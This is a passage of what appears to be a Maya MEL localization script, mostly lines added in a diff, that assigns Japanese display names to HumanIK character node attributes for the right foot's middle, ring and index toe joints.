"RightFootIndex4JointOrientz", "右足人差指 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MinRLimit", "右足人差指 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MinRLimitx", "右足人差指 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MinRLimity", "右足人差指 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MinRLimitz", "右足人差指 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MaxRLimit", "右足人差指 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MaxRLimitx", "右足人差指 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MaxRLimity", "右足人差指 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MaxRLimitz", "右足人差指 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MinRLimitEnablex", "右足人差指 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MinRLimitEnabley", "右足人差指 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MinRLimitEnablez", "右足人差指 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MaxRLimitEnablex", "右足人差指 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MaxRLimitEnabley", "右足人差指 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MaxRLimitEnablez", "右足人差指 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1", "右足中指 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1T", "右足中指 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1Tx", "右足中指 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1Ty", "右足中指 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1Tz", "右足中指 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1R", "右足中指 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1Rx", "右足中指 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1Ry", "右足中指 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1Rz", "右足中指 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1S", "右足中指 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1Sx", "右足中指 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1Sy", "右足中指 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1Sz", "右足中指 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1RotateOrder", "右足中指 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1RotateAxis", "右足中指 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1RotateAxisx", "右足中指 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1RotateAxisy", "右足中指 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1RotateAxisz", "右足中指 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1JointOrient", "右足中指 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1JointOrientx", "右足中指 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1JointOrienty", "右足中指 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1JointOrientz", "右足中指 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MinRLimit", "右足中指 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MinRLimitx", "右足中指 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MinRLimity", "右足中指 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MinRLimitz", "右足中指 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MaxRLimit", "右足中指 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MaxRLimitx", "右足中指 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MaxRLimity", "右足中指 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MaxRLimitz", "右足中指 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MinRLimitEnablex", "右足中指 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MinRLimitEnabley", "右足中指 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MinRLimitEnablez", "右足中指 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MaxRLimitEnablex", "右足中指 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MaxRLimitEnabley", "右足中指 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MaxRLimitEnablez", "右足中指 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2", "右足中指 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2T", "右足中指 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2Tx", "右足中指 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2Ty", "右足中指 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2Tz", "右足中指 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2R", "右足中指 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2Rx", "右足中指 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2Ry", "右足中指 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2Rz", "右足中指 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2S", "右足中指 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2Sx", "右足中指 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2Sy", "右足中指 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2Sz", "右足中指 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2RotateOrder", "右足中指 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2RotateAxis", "右足中指 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2RotateAxisx", "右足中指 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2RotateAxisy", "右足中指 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2RotateAxisz", "右足中指 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2JointOrient", "右足中指 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2JointOrientx", "右足中指 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2JointOrienty", "右足中指 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2JointOrientz", "右足中指 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MinRLimit", "右足中指 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MinRLimitx", "右足中指 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MinRLimity", "右足中指 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MinRLimitz", "右足中指 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MaxRLimit", "右足中指 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MaxRLimitx", "右足中指 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MaxRLimity", "右足中指 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MaxRLimitz", "右足中指 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MinRLimitEnablex", "右足中指 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MinRLimitEnabley", "右足中指 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MinRLimitEnablez", "右足中指 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MaxRLimitEnablex", "右足中指 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MaxRLimitEnabley", "右足中指 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MaxRLimitEnablez", "右足中指 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3", "右足中指 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3T", "右足中指 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3Tx", "右足中指 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3Ty", "右足中指 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3Tz", "右足中指 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3R", "右足中指 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3Rx", "右足中指 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3Ry", "右足中指 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3Rz", "右足中指 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3S", "右足中指 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3Sx", "右足中指 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3Sy", "右足中指 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3Sz", "右足中指 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3RotateOrder", "右足中指 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3RotateAxis", "右足中指 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3RotateAxisx", "右足中指 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3RotateAxisy", "右足中指 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3RotateAxisz", "右足中指 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3JointOrient", "右足中指 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3JointOrientx", "右足中指 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3JointOrienty", "右足中指 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3JointOrientz", "右足中指 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MinRLimit", "右足中指 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MinRLimitx", "右足中指 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MinRLimity", "右足中指 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MinRLimitz", "右足中指 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MaxRLimit", "右足中指 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MaxRLimitx", "右足中指 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MaxRLimity", "右足中指 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MaxRLimitz", "右足中指 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MinRLimitEnablex", "右足中指 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MinRLimitEnabley", "右足中指 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MinRLimitEnablez", "右足中指 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MaxRLimitEnablex", "右足中指 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MaxRLimitEnabley", "右足中指 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MaxRLimitEnablez", "右足中指 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4", "右足中指 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4T", "右足中指 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4Tx", "右足中指 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4Ty", "右足中指 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4Tz", "右足中指 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4R", "右足中指 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4Rx", "右足中指 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4Ry", "右足中指 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4Rz", "右足中指 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4S", "右足中指 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4Sx", "右足中指 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4Sy", "右足中指 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4Sz", "右足中指 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4RotateOrder", "右足中指 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4RotateAxis", "右足中指 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4RotateAxisx", "右足中指 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4RotateAxisy", "右足中指 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4RotateAxisz", "右足中指 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4JointOrient", "右足中指 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4JointOrientx", "右足中指 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4JointOrienty", "右足中指 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4JointOrientz", "右足中指 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MinRLimit", "右足中指 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MinRLimitx", "右足中指 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MinRLimity", "右足中指 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MinRLimitz", "右足中指 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MaxRLimit", "右足中指 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MaxRLimitx", "右足中指 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MaxRLimity", "右足中指 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MaxRLimitz", "右足中指 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MinRLimitEnablex", "右足中指 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MinRLimitEnabley", "右足中指 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MinRLimitEnablez", "右足中指 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MaxRLimitEnablex", "右足中指 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MaxRLimitEnabley", "右足中指 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MaxRLimitEnablez", "右足中指 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1", "右足薬指 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1T", "右足薬指 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1Tx", "右足薬指 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1Ty", "右足薬指 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1Tz", "右足薬指 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1R", "右足薬指 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1Rx", "右足薬指 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1Ry", "右足薬指 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1Rz", "右足薬指 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1S", "右足薬指 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1Sx", "右足薬指 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1Sy", "右足薬指 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1Sz", "右足薬指 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1RotateOrder", "右足薬指 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1RotateAxis", "右足薬指 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1RotateAxisx", "右足薬指 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1RotateAxisy", "右足薬指 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1RotateAxisz", "右足薬指 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1JointOrient", "右足薬指 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1JointOrientx", "右足薬指 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1JointOrienty", "右足薬指 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1JointOrientz", "右足薬指 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MinRLimit", "右足薬指 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MinRLimitx", "右足薬指 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MinRLimity", "右足薬指 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MinRLimitz", "右足薬指 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MaxRLimit", "右足薬指 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MaxRLimitx", "右足薬指 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MaxRLimity", "右足薬指 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MaxRLimitz", "右足薬指 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MinRLimitEnablex", "右足薬指 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MinRLimitEnabley", "右足薬指 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MinRLimitEnablez", "右足薬指 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MaxRLimitEnablex", "右足薬指 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MaxRLimitEnabley", "右足薬指 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MaxRLimitEnablez", "右足薬指 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2", "右足薬指 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2T", "右足薬指 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2Tx", "右足薬指 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2Ty", "右足薬指 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2Tz", "右足薬指 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2R", "右足薬指 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2Rx", "右足薬指 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2Ry", "右足薬指 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2Rz", "右足薬指 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2S", "右足薬指 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2Sx", "右足薬指 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2Sy", "右足薬指 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2Sz", "右足薬指 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2RotateOrder", "右足薬指 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2RotateAxis", "右足薬指 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2RotateAxisx", "右足薬指 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2RotateAxisy", "右足薬指 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2RotateAxisz", "右足薬指 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2JointOrient", "右足薬指 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2JointOrientx", "右足薬指 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2JointOrienty", "右足薬指 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2JointOrientz", "右足薬指 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MinRLimit", "右足薬指 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MinRLimitx", "右足薬指 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MinRLimity", "右足薬指 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MinRLimitz", "右足薬指 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MaxRLimit", "右足薬指 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MaxRLimitx", "右足薬指 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MaxRLimity", "右足薬指 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MaxRLimitz", "右足薬指 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MinRLimitEnablex", "右足薬指 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MinRLimitEnabley", "右足薬指 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MinRLimitEnablez", "右足薬指 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MaxRLimitEnablex", "右足薬指 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MaxRLimitEnabley", "右足薬指 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MaxRLimitEnablez", "右足薬指 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3", "右足薬指 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3T", "右足薬指 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3Tx", "右足薬指 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3Ty", "右足薬指 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3Tz", "右足薬指 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3R", "右足薬指 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3Rx", "右足薬指 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3Ry", "右足薬指 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3Rz", "右足薬指 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3S", "右足薬指 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3Sx", "右足薬指 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3Sy", "右足薬指 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3Sz", "右足薬指 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3RotateOrder", "右足薬指 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3RotateAxis", "右足薬指 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3RotateAxisx", "右足薬指 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3RotateAxisy", "右足薬指 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3RotateAxisz", "右足薬指 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3JointOrient", "右足薬指 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3JointOrientx", "右足薬指 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3JointOrienty", "右足薬指 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3JointOrientz", "右足薬指 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MinRLimit", "右足薬指 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MinRLimitx", "右足薬指 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MinRLimity", "右足薬指 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MinRLimitz", "右足薬指 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MaxRLimit", "右足薬指 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MaxRLimitx", "右足薬指 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MaxRLimity", "右足薬指 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MaxRLimitz", "右足薬指 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", 